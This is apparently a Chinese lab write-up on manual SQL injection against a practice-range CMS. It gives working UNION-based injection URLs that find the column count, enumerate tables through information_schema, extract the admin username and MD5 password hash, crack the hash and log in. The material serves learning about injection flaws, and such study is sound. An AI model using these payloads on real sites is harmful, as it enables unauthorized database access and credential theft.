SQL注入
手动注入
- 首先登录靶场

- 随便点一个,我点的是"网游分级标准研究有初步成果 已上报至中央",看到id=33,有可能是注入点

3. 换一个数看看页面是否变动,若变动则大概率为注入点,换成34
http://10.9.46.96/cms/show.php?id=34

此时发现页面改变,大概率为sql注入点
注:此处我用了hackbar插件,可从谷歌应用商店下载,需要魔法
我们先认为是sql注入点,不排除有人写一堆静态页面
4.判断是字符型注入还是数字型注入,
判断方式,令id=一个表达式,eg: id=34-1
如果没变化就是字符型注入,若有变化就是数字型注入
http://10.9.46.96/cms/show.php?id=34-1
5. 尝试联合注入
- 判断有多少字段,增加最后一位数字直到报错
http://10.9.46.96/cms/show.php?id=33 order by 1
http://10.9.46.96/cms/show.php?id=33 order by 15没报错
http://10.9.46.96/cms/show.php?id=33 order by 16报错,说明该表中有15个字段
-
现在需要查看哪些位置可以回显
http://10.9.46.96/cms/show.php?id=33 and 1=3 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,得到结果,3,11
注:id =33 and 1=3 是为了不让查询出结果,影响显示
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 中数字是为了占位 -
现在查看当前数据库和版本
http://10.9.46.96/cms/show.php?id=33 and 1=3 union select 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15,得到数据库名’cms’数据库版本5.5.53

-
查询数据库表名
http://10.9.46.96/cms/show.php?id=33 and 1=3 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,version(),12,13,14,15 from information_schema.tables where table_schema='cms',报错Illegal mix of collations for operation ‘UNION’,由百度得,是由于编码原因,其中group_concat()函数用于将查询结果拼接成一行,否则显示只显示一行,详情请见补充

-
将结果转化为16进制输出以解决问题
http://10.9.46.96/cms/show.php?id=33 and 1=3 union select 1,2,HEX(group_concat(table_name)),4,5,6,7,8,9,10,version(),12,13,14,15 from information_schema.tables where table_schema='cms'',其中HEX()函数用于将结果转化为16进制636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
- 利用brupsuit进行解码得"cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users"
- 对"cms_users"表得字段名进行查询http://10.9.46.96/cms/show.php?id=33 and 1=3 union select 1,2,HEX(group_concat(column_name)),4,5,6,7,8,9,10,version(),12,13,14,15 from information_schema.columns where table_schema='cms' and table_name = 'cms_users'得到十六进制7573657269642C757365726E616D652C70617373776F7264
- 用burpsuit进行转码得userid,username,password
- 对表中得username字段和password字段进行查询得到十六进制161646D696E,十六进制26531306164633339343962613539616262653536653035376632306638383365
- 用burpsuite解码得用户名admin密码e10adc3949ba59abbe56e057f20f883e
- 显然,这一串文本不像是密码,因为mysql会使用md5算法进行数据加密,所以使用md5对其再进行解密,得到密码123456网址:https://www.cmd5.com/
**注:**MD5,SHA算法是用来校验完整性的,因其不可逆特性才被用来加密 -
尝试登录
点击后台管理
输入用户名密码

成功登录

补充
information_schema
-
简介
MySql 5 以上内置了一个information_schema数据库,用于存储所有数据库和表结构的信息;
information_schema中有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

-
重要表
- SCHEMATA表:提供了当前MySql 实力中所有数据库的信息,使用
show databases;时结果就取于此表。 - TABLES表:存储数据库中的所有的表的信息,包括表属于哪个数据库。使用
show tables时,结果取自此表 - COLUMNS表:存储表中的所有列的信息,包括列属于哪个表。
- SCHEMATA表:提供了当前MySql 实力中所有数据库的信息,使用
本次所用函数
select database():显示当前所在数据库
select version();显示当前数据库版本
group_concat()将所查出的结果拼接到一行显示
- HEX()将所查出的结果转化为十六进制

367

被折叠的 条评论
为什么被折叠?



